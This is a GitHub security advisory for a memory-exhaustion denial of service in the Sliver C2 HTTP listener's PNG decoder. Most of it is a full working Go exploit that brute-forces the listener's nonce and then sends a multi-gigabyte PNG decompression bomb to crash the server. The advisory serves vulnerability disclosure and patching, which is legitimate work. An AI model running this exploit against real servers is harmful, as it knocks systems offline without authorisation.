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Sliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder

High severity GitHub Reviewed Published Jul 15, 2026 in BishopFox/sliver • Updated Oct 15, 2026

Package

gomod github.com/BishopFox/sliver (Go)

Affected versions

< 1.7.6

Patched versions

1.7.6

Description

Summary

Sliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability.

Details

The first vulnerability is that the amount of possible nonces is 65,537. This is found in server/encoders/encoders.go

const (
    EncoderModulus = uint64(65537)
)

The second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in:
util/encoders/images.go

func (p PNGEncoder) Encode(data []byte) ([]byte, error) {
    img := imageFromBytes(data)
    var buf bytes.Buffer
    encoder.Encode(&buf, img)
    return buf.Bytes(), nil
}

func (p PNGEncoder) Decode(data []byte) ([]byte, error) {
    buf := bytes.NewBuffer(data)
    img, err := png.Decode(buf)
    if err != nil { return nil, err }
    return bytesFromImage(img), nil
}

PoC

The first step to reproduce this vulnerability is building a docker container to make sure no harm is caused.

Get the latest version of Sliver (Currently 1.7.3)

git clone https://github.com/BishopFox/sliver.git

Build the Docker container:

cd sliver
docker build -t sliver-test:local -f Dockerfile .

Run the Docker container with a memory cap for example 4GB:

docker run --rm \
--name sliver-test \
--memory=4g \
-p 8080:8080 \
-it \
sliver-test:local 

After the Docker container starts, create an http listener on port 8080:

http -L 0.0.0.0 -l 8080

In a seperate terminal create the following Go project:
go.mod

module pngboomer
go 1.25

poc.go

// pngboomer — Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill.
//
// SAFETY: the kill bomb causes a multi-GB PNG decode on the target. Always run
// it against a Docker container with --memory=<N>g and pass -target-cap-mb N
// so the tool can refuse dangerous worker/probe combos.
//
// Build:  go build -o pngboomer
// Demo:   ./pngboomer -url http://target:8080/ -target-cap-mb 10240
package main

import (
        "bytes"
        "compress/zlib"
        "context"
        "encoding/binary"
        "flag"
        "fmt"
        "hash/crc32"
        "io"
        "math/rand"
        "net"
        "net/http"
        "net/url"
        "os"
        "sort"
        "sync"
        "sync/atomic"
        "time"
)

// ANSI color — single helper, disabled by -no-color / -silent.
var nocolor bool

func col(code, s string) string {
        if nocolor {
                return s
        }
        return "\x1b[" + code + "m" + s + "\x1b[0m"
}
func B(s string) string          { return col("1", s) }
func D(s string) string          { return col("2", s) }
func R(s string) string          { return col("1;31", s) }
func G(s string) string          { return col("1;32", s) }
func Y(s string) string          { return col("1;33", s) }
func C(s string) string          { return col("1;36", s) }
func ms(d time.Duration) float64 { return float64(d.Microseconds()) / 1000 }

// PNG forging — stream zero-rows into zlib so client RSS stays ~10 MB even for
// the 4 GiB-decode kill bomb. colorType: 2=RGB (3 B/px), 6=RGBA (4 B/px).
func chunk(typ string, data []byte) []byte {
        out := make([]byte, 4, 12+len(data))
        binary.BigEndian.PutUint32(out, uint32(len(data)))
        out = append(out, typ...)
        out = append(out, data...)
        crc := crc32.NewIEEE()
        crc.Write([]byte(typ))
        crc.Write(data)
        tail := make([]byte, 4)
        binary.BigEndian.PutUint32(tail, crc.Sum32())
        return append(out, tail...)
}
func makePNG(W, H, ct int) []byte {
        bpp := 3
        if ct == 6 {
                bpp = 4
        }
        var zb bytes.Buffer
        zw, _ := zlib.NewWriterLevel(&zb, zlib.BestCompression)
        row := make([]byte, 1+bpp*W)
        for i := 0; i < H; i++ {
                zw.Write(row)
        }
        zw.Close()
        ihdr := make([]byte, 13)
        binary.BigEndian.PutUint32(ihdr[0:4], uint32(W))
        binary.BigEndian.PutUint32(ihdr[4:8], uint32(H))
        ihdr[8], ihdr[9] = 8, byte(ct)
        out := []byte("\x89PNG\r\n\x1a\n")
        out = append(out, chunk("IHDR", ihdr)...)
        out = append(out, chunk("IDAT", zb.Bytes())...)
        return append(out, chunk("IEND", nil)...)
}

// HTTP helpers
func hostPort(u string) string {
        p, _ := url.Parse(u)
        if p.Port() != "" {
                return p.Hostname() + ":" + p.Port()
        }
        if p.Scheme == "https" {
                return p.Hostname() + ":443"
        }
        return p.Hostname() + ":80"
}
func alive(hp string, t time.Duration) bool {
        c, err := net.DialTimeout("tcp", hp, t)
        if err != nil {
                return false
        }
        c.Close()
        return true
}
func post(ctx context.Context, cli *http.Client, base string, body []byte, n uint64) time.Duration {
        req, _ := http.NewRequestWithContext(ctx, "POST",
                fmt.Sprintf("%s?n=%d", base, n), bytes.NewReader(body))
        req.Header.Set("Content-Type", "application/octet-stream")
        t := time.Now()
        resp, err := cli.Do(req)
        dt := time.Since(t)
        if err == nil {
                io.Copy(io.Discard, resp.Body)
                resp.Body.Close()
        }
        return dt
}

type hit struct {
        n  uint64
        dt time.Duration
}

func main() {
        target := flag.String("url", "http://127.0.0.1:8080/", "Sliver HTTP C2 base URL")
        workers := flag.Int("workers", 8, "scan concurrency")
        probeW := flag.Int("probe-w", 2000, "probe PNG width")
        probeH := flag.Int("probe-h", 2000, "probe PNG height")
        probeCT := flag.Int("probe-color", 2, "probe color: 2=RGB, 6=RGBA")
        killW := flag.Int("kill-w", 32767, "kill PNG width")
        killH := flag.Int("kill-h", 32767, "kill PNG height")
        killCT := flag.Int("kill-color", 6, "kill color: 2=RGB, 6=RGBA")
        thMs := flag.Int("threshold-ms", 50, "threshold floor (effective = max(this, baseline_p99 × outlier-mult))")
        outlier := flag.Float64("outlier-mult", 15.0, "baseline_p99 × this = adaptive threshold")
        calibN := flag.Int("calibrate", 16, "non-PNG calibration samples")
        verifyN := flag.Int("verify", 3, "re-probe count per candidate")
        maxN := flag.Int("max-nonce", 65537, "top nonce (Sliver modulus = 65537)")
        pTO := flag.Duration("probe-timeout", 5*time.Second, "per-probe HTTP timeout")
        kTO := flag.Duration("kill-timeout", 180*time.Second, "kill request HTTP timeout")
        capMB := flag.Int("target-cap-mb", 10240, "declared target memory cap, 0 = disable check")
        known := flag.Int("nonce", 0, "skip scan, use this nonce directly")
        scanOnly := flag.Bool("scan-only", false, "stop after finding nonce, don't kill")
        noConf := flag.Bool("no-confirm", false, "don't TCP-poll for death after kill")
        noClr := flag.Bool("no-color", false, "disable ANSI color")
        silent := flag.Bool("silent", false, "only print nonce on stdout")
        flag.Parse()

        nocolor = *noClr || *silent
        pBpp, kBpp := 3, 3
        if *probeCT == 6 {
                pBpp = 4
        }
        if *killCT == 6 {
                kBpp = 4
        }
        probeMB := pBpp * *probeW * *probeH / 1024 / 1024
        killMB := kBpp * *killW * *killH / 1024 / 1024
        peakMB := *workers * probeMB
        if *capMB > 0 && peakMB > *capMB/2 {
                fmt.Fprintf(os.Stderr, "%s scan peak %d MiB > target cap %d / 2 — lower -workers or -probe-w/h\n",
                        R("[X] safety:"), peakMB, *capMB)
                os.Exit(2)
        }

        probe := makePNG(*probeW, *probeH, *probeCT)
        kill := makePNG(*killW, *killH, *killCT)
        hp := hostPort(*target)
        if !alive(hp, 2*time.Second) {
                fmt.Fprintf(os.Stderr, "%s target unreachable: %s\n", R("[X]"), hp)
                os.Exit(2)
        }
        if !*silent {
                fmt.Fprintln(os.Stderr, B("pngboomer — Sliver C2 PNG-bomb DoS"))
                fmt.Fprintf(os.Stderr, "  probe %dB wire  %dx%d c=%d  → %d MiB decode\n",
                        len(probe), *probeW, *probeH, *probeCT, probeMB)
                fmt.Fprintf(os.Stderr, "  kill  %dB wire  %dx%d c=%d  → %d MiB decode\n",
                        len(kill), *killW, *killH, *killCT, killMB)
                fmt.Fprintf(os.Stderr, "  scan peak ≈ %d MiB  target cap=%d MiB  reachable=%s\n",
                        peakMB, *capMB, B(hp))
        }

        cli := &http.Client{Timeout: *pTO, Transport: &http.Transport{MaxIdleConnsPerHost: *workers}}
        pngN := uint64(*known)

        if pngN == 0 {
                // ─── Phase 1: calibrate non-PNG baseline ───
                dts := make([]time.Duration, *calibN)
                sem := make(chan struct{}, 8)
                var wg sync.WaitGroup
                for i := 0; i < *calibN; i++ {
                        i := i
                        sem <- struct{}{}
                        wg.Add(1)
                        go func() {
                                defer wg.Done()
                                defer func() { <-sem }()
                                dts[i] = post(context.Background(), cli, *target, probe, uint64(rand.Intn(*maxN-1)+1))
                        }()
                }
                wg.Wait()
                sort.Slice(dts, func(i, j int) bool { return dts[i] < dts[j] })
                p50, p99 := dts[len(dts)/2], dts[len(dts)*99/100]
                eff := int64(*thMs)
                if a := int64(float64(p99.Milliseconds()) * *outlier); a > eff {
                        eff = a
                }
                *thMs = int(eff)
                thresh := time.Duration(*thMs) * time.Millisecond
                if !*silent {
                        fmt.Fprintf(os.Stderr, "  baseline p50=%.0fms p99=%.0fms  → threshold=%s (max of floor, p99×%.0f)\n",
                                ms(p50), ms(p99), B(fmt.Sprintf("%dms", *thMs)), *outlier)
                }

                // ─── Phase 2: scan with verify + blacklist-on-blip ───
                blacklist := map[uint64]bool{}
                var maxDt int64
                var maxNonce uint64
                var totalDone uint64
                scanStart := time.Now()
                const maxBlips = 8

                // Shuffled nonce order, shared across re-scans. Workers pull via atomic
                // counter — no channels, no producer goroutine.
                order := make([]uint64, *maxN-1)
                for i := range order {
                        order[i] = uint64(i + 1)
                }
                rand.Shuffle(len(order), func(i, j int) { order[i], order[j] = order[j], order[i] })

                for blip := 0; blip < maxBlips && pngN == 0; blip++ {
                        scanCtx, scanCancel := context.WithCancel(context.Background())
                        hits := make(chan hit, 1)
                        var idx int64
                        var scanned uint64
                        var swg sync.WaitGroup
                        for i := 0; i < *workers; i++ {
                                swg.Add(1)
                                go func() {
                                        defer swg.Done()
                                        for scanCtx.Err() == nil {
                                                i := atomic.AddInt64(&idx, 1) - 1
                                                if i >= int64(len(order)) {
                                                        return
                                                }
                                                n := order[i]
                                                if blacklist[n] {
                                                        continue
                                                }
                                                dt := post(scanCtx, cli, *target, probe, n)
                                                atomic.AddUint64(&scanned, 1)
                                                for { // track slowest probe (lock-free CAS)
                                                        cur := atomic.LoadInt64(&maxDt)
                                                        if dt.Nanoseconds() <= cur {
                                                                break
                                                        }
                                                        if atomic.CompareAndSwapInt64(&maxDt, cur, dt.Nanoseconds()) {
                                                                atomic.StoreUint64(&maxNonce, n)
                                                                break
                                                        }
                                                }
                                                if dt >= thresh {
                                                        select {
                                                        case hits <- hit{n, dt}:
                                                        default:
                                                        }
                                                        scanCancel()
                                                        return
                                                }
                                        }
                                }()
                        }

                        if !*silent {
                                go func() {
                                        t := time.NewTicker(750 * time.Millisecond)
                                        defer t.Stop()
                                        for {
                                                select {
                                                case <-scanCtx.Done():
                                                        return
                                                case <-t.C:
                                                        tot := atomic.LoadUint64(&totalDone) + atomic.LoadUint64(&scanned)
                                                        el := time.Since(scanStart).Seconds()
                                                        fmt.Fprintf(os.Stderr, D("  scanned %d (%.0f/s, %.1fs, blips=%d)\n"),
                                                                tot, float64(tot)/el, el, blip)
                                                }
                                        }
                                }()
                        }

                        go func() { swg.Wait(); close(hits) }()
                        cand, ok := <-hits
                        scanCancel()
                        atomic.AddUint64(&totalDone, atomic.LoadUint64(&scanned))
                        if !ok {
                                break // exhausted, no candidate
                        }

                        // VERIFY: re-probe N×, count threshold hits, render tries inline
                        conf := 0
                        var tries bytes.Buffer
                        for i := 0; i < *verifyN; i++ {
                                dt := post(context.Background(), cli, *target, probe, cand.n)
                                if dt >= thresh {
                                        conf++
                                        tries.WriteString(G("✓"))
                                } else {
                                        tries.WriteString(R("✗"))
                                }
                                fmt.Fprintf(&tries, "%.0fms ", ms(dt))
                        }
                        if !*silent {
                                fmt.Fprintf(os.Stderr, "  candidate %s (%.0fms)  verify: %s\n",
                                        B(fmt.Sprintf("%d", cand.n)), ms(cand.dt), tries.String())
                        }
                        if conf >= (*verifyN+1)/2 {
                                pngN = cand.n
                                if !*silent {
                                        fmt.Fprintf(os.Stderr, "%s nonce=%s in %.2fs (%d probes, %d blips)\n",
                                                G("[+] FOUND"), B(fmt.Sprintf("%d", pngN)),
                                                time.Since(scanStart).Seconds(), atomic.LoadUint64(&totalDone), len(blacklist))
                                }
                                break
                        }
                        blacklist[cand.n] = true
                        if !*silent {
                                fmt.Fprintf(os.Stderr, "%s nonce %d rejected (%d/%d) — blacklisted\n",
                                        Y("[!] blip"), cand.n, conf, *verifyN)
                        }
                }

                if pngN == 0 {
                        mDt := time.Duration(atomic.LoadInt64(&maxDt))
                        mN := atomic.LoadUint64(&maxNonce)
                        fmt.Fprintf(os.Stderr, "%s no candidate ≥ %dms after %d probes\n",
                                R("[X] scan failed:"), *thMs, atomic.LoadUint64(&totalDone))
                        fmt.Fprintf(os.Stderr, "  slowest probe: nonce=%d at %.0fms\n", mN, ms(mDt))
                        suggest := mDt.Milliseconds() * 6 / 10
                        if suggest < 30 {
                                suggest = 30
                        }
                        fmt.Fprintf(os.Stderr, "  fix: %s  or grow -probe-w/-probe-h\n",
                                C(fmt.Sprintf("-threshold-ms %d", suggest)))
                        os.Exit(2)
                }
        }

        if *scanOnly {
                fmt.Println(pngN)
                return
        }

        // ─── Phase 3: fire kill bomb ───
        if !*silent {
                fmt.Fprintf(os.Stderr, "%s firing kill (%d MiB decode) at %s?n=%d\n",
                        B("[*]"), killMB, *target, pngN)
        }
        kCli := &http.Client{Timeout: *kTO}
        killStart := time.Now()
        done := make(chan struct{})
        go func() {
                dt := post(context.Background(), kCli, *target, kill, pngN)
                if !*silent {
                        fmt.Fprintf(os.Stderr, "  kill returned in %.2fs\n", dt.Seconds())
                }
                close(done)
        }()

        if *noConf {
                <-done
                fmt.Println(pngN)
                return
        }

        deadline := time.Now().Add(*kTO)
        for time.Now().Before(deadline) {
                time.Sleep(250 * time.Millisecond)
                if !alive(hp, time.Second) {
                        if !*silent {
                                fmt.Fprintf(os.Stderr, "%s killed in %.2fs (TCP refused at %s)\n",
                                        G("[+] ★ TARGET DEAD ★"), time.Since(killStart).Seconds(), hp)
                        }
                        fmt.Println(pngN)
                        return
                }
        }
        fmt.Fprintf(os.Stderr, "%s target alive after %s — try larger -kill-w/-kill-h\n", Y("[!]"), *kTO)
        os.Exit(1)
}

Impact

This vulnerability can impact the availability of any Sliver server that has a running http listener. If the target server does not have a limit on the amount of memory the Sliver C2 can use it will lead to a host device crashing.

Collaboration

This vulnerability was found with the help of Wencheng Xue (panwnvda).

References

@moloch-- moloch-- published to BishopFox/sliver Jul 15, 2026
Published to the GitHub Advisory Database Oct 15, 2026
Reviewed Oct 15, 2026
Last updated Oct 15, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity High
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. Learn more on MITRE.

CVE ID

CVE-2026-77622

GHSA ID

GHSA-663m-7x7m-g4fw

Source code

Credits

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